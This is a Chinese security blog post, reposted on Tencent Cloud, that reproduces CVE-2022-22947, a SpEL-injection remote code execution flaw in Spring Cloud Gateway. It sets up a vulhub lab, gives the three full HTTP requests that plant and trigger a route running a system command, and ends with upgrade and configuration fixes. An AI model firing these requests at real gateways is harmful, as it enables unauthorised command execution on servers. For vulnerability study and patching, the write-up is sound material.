Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

作者头像
Timeline Sec
发布于 2022-10-05 11:50:39
发布于 2022-10-05 11:50:39
2.7K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

作者:Jackey0@Timeline Sec

本文字数:980

阅读时长:2~3min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。

0x02 漏洞概述

其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

0x03 影响版本

3.1.0 3.0.0-3.0.6 3.0.0之前的版本

0x04 环境搭建

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 下载包
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压包
unzip vulhub-master.zip
# 进入vulhub目录,开启漏洞环境
cd vulhub/spring/CVE-2022-22947
docker-compose  up -d
#漏洞环境拉取成功后访问
http://ip:8080/

0x05 漏洞复现

依次发送如下请求包:

1、以POST方法请求

/actuator/gateway/routes/error

并提交以下数据,用于创建一条恶意路由

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /actuator/gateway/routes/error HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
  "id": "error",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

2、接着以POST方法请求

/actuator/gateway/refresh

用于刷新路由,使刚添加的恶意路由生效

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

3、最后以GET方法请求,触发恶意路由

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /actuator/gateway/routes HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

第三次请求的相应如下图所示:`id`命令执行成功

0x06 修复建议

1)3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。

2)在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled设置为false禁用gateway actuator endpoint。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Spring Cloud Gateway内存马注入
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式 以下版本的Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞
Naraku
2022/09/08
3.3K0
Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)
Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
Khan安全团队
2022/04/02
6320
Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)
CVE-2024-48307|JeecgBoot SQL 注入漏洞(POC)
JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!
信安百科
2025/07/30
1650
CVE-2024-48307|JeecgBoot SQL 注入漏洞(POC)
渗透测试-如何高效率挖掘漏洞
21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解
hyyrent
2022/12/26
1.5K0
渗透测试-如何高效率挖掘漏洞
Spring Data Commons 远程命令执行漏洞
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
用户8478399
2022/09/22
5930
Spring Data Commons 远程命令执行漏洞
Apache APISIX 默认密钥漏洞(CVE-2020-13945)
Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,ApacheAPISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。
网e渗透安全部
2023/12/12
5550
Apache APISIX 默认密钥漏洞(CVE-2020-13945)
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 一、环境搭建 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947 docker-compose up -d UzJuMarkDownImageimage-20220304103612832.png UzJuMarkDownImageimage-20220304103622903.png 二、漏洞复现
UzJu@菜菜狗
2022/04/25
6530
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring相关漏洞集合
上一篇说了Struct2的相关漏洞,这一篇就复现一下Spring相关的漏洞,关于spring产生的漏洞,其实他跟struct2都差不多,都是因为对用户的参数没有采用严格的控制,导致传入表达式而导致的,只不过struct2是OGNL,而spring是spel表达式造成的。(声明:本篇中的实列均在vulhub中完成)
Tommonkey
2023/03/20
1.1K0
Spring相关漏洞集合
Spring Cloud Gateway 3.1.0 远程代码执行
# 软件链接:https://spring.io/projects/spring-cloud-gateway
Khan安全团队
2022/03/09
7340
CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)
GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。
信安百科
2024/07/12
1.7K0
CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)
CVE-2020-17530:Struts2远程代码执行漏洞复现
CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒。
Timeline Sec
2021/01/18
2.5K0
CVE-2020-17530:Struts2远程代码执行漏洞复现
CVE-2024-36401:GeoServer未授权RCE漏洞
GeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。
Timeline Sec
2024/11/23
4.5K0
CVE-2024-36401:GeoServer未授权RCE漏洞
漏洞复现 | 通达OA命令执行漏洞复现
通达OA是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。
谢公子
2022/01/19
7.4K1
漏洞复现 | 通达OA命令执行漏洞复现
飞企互联-FE企业运营管理平台存在任意文件读取漏洞(批量化)
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/10
9000
飞企互联-FE企业运营管理平台存在任意文件读取漏洞(批量化)
全网首发 | 通达OA多枚0day漏洞分享
之前曝光过通达OA 0day我这里就不曝了,截止到发帖时,下面的漏洞都是未正式公开的。 影响范围: 我测试的是通达OA11.5版本,也就是2020年04月17日发布的,其他版未测,但我想也会有吧。
用户1467662
2020/08/28
2K0
全网首发 | 通达OA多枚0day漏洞分享
S2-061 Struts2远程代码执行漏洞复现 (POC详解)
Struts2是一个用Java编写的开源MVC Web应用框架,Struts也是一个中间件,它可以连接不同的系统和服务。
红队蓝军
2024/07/02
1.3K0
S2-061 Struts2远程代码执行漏洞复现 (POC详解)
宏景eHR downlawbase SQL注入
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/13
4130
宏景eHR downlawbase SQL注入
WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
使用Proxifier进行流量转发至Burp抓包分析(使用Wireshake也可以)
没事就要多学习
2024/07/18
2740
WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
SpringBlade list接口存在SQL注入漏洞
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/13
2.1K0
SpringBlade list接口存在SQL注入漏洞
CVE-2021-21975​:VMware vRealize SSRF复现
vRealize Operations Manager 提供跨物理、虚拟和云基础架构的智能运维管理以及从应用程序到存储的可见性。使用基本策略的自动化,操作团队实现关键过程的自动化并提高 IT 效率。
Timeline Sec
2021/05/17
1.5K0
CVE-2021-21975​:VMware vRealize SSRF复现
推荐阅读
相关推荐
Spring Cloud Gateway内存马注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验